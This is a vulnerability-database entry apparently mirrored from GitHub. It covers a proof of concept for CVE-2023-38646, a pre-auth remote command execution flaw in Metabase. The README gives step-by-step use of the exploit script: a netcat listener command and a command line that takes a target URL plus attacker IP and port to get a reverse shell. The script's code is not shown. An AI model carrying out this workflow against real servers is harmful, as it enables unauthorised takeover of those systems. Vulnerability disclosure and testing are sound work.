CVE-2023-38646 PoC — Metabase 安全漏洞

Source

https://github.com/Mrunalkaran/CVE-2023-38646

Associated Vulnerability

Title: Metabase 安全漏洞 (CVE-2023-38646)
Description:Metabase open source before 0.46.6.1 and Metabase Enterprise before 1.46.6.1 allow attackers to execute arbitrary commands on the server, at the server's privilege level. Authentication is not required for exploitation. The other fixed versions are 0.45.4.1, 1.45.4.1, 0.44.7.1, 1.44.7.1, 0.43.7.2, and 1.43.7.2.

Description

Metabase Pre-Auth RCE POC

Readme

# Metabase Pre-Auth RCE POC - CVE-2023-38646
Metabase open source before 0.46.6.1 and Metabase Enterprise before 1.46.6.1 allow attackers to execute arbitrary commands on the server. I have written the script directly to gain reverse shell on the attacker's machine.

## Usage
The script require the Target URL, Attackers IP and Port. Providing the setup token is not required for this exploit as the script tries to obtain it from `/api/session/properties`.

Make sure to start netcat listener on Attacker machine, using the following command : 
`nc -nlvp {Port}`

Run the POC Script with:
- -u  - Target URL (Metabase)
- -ip  - Attacker IP
- -p  - Port Number  
```python
python3 CVE-2023-38646.py -u <target-url> -ip <IP> -p <PORT>
```
 
 
 
![POC](https://i.imgur.com/BE7nuAml.png)

## References
- https://github.com/m3m0o/metabase-pre-auth-rce-poc/
- https://blog.assetnote.io/2023/07/22/pre-auth-rce-metabase/

File Snapshot

Remarks

1. It is advised to access via the original source first.

2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.

View subscription plans →